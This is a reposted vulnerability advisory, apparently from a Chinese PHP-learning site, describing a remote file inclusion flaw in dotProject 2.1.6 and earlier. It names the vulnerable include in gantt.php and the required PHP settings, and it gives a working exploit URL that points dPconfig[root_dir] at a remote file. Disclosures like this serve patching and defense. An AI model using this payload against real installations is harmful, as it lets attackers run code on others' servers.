来源：自学PHP网 时间：2015-04-17 12:00 作者： 阅读:次
[导读] 题目： [ dotProject = 2.1.6 ] Remote File Inclusion Vulnerability #Script: PHP web-based project management framework that includes modules for companies,# projects,......
|
题目： [ dotProject <= 2.1.6 ] Remote File Inclusion Vulnerability #
Script: "PHP web-based project management framework that includes modules for companies,
# projects, tasks (with Gantt charts), forums, files, calendar, contacts, tickets/helpdesk,
# multi-language support, user/module permissions and themes"
#
开发者: http://www.dotproject.net/
下载地址: http://sourceforge.net/projects/dotproject/files/dotproject/dotProject%20Version%202.1.6/
[远程文件包含 ]
(需要条件： allow_url_include = On; register_globals = On; ) 所在文件: dotproject/modules/projectdesigner/gantt.php ( line: 8 ):
# ..cut..
# include ($dPconfig['root_dir'].'/lib/jpgraph/src/jpgraph.php');
# ..cut..
#
# Vuln: http://www.2cto.com /dotproject/modules/projectdesigner/gantt.php?dPconfig[root_dir]=http://localhost/info.txt?
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
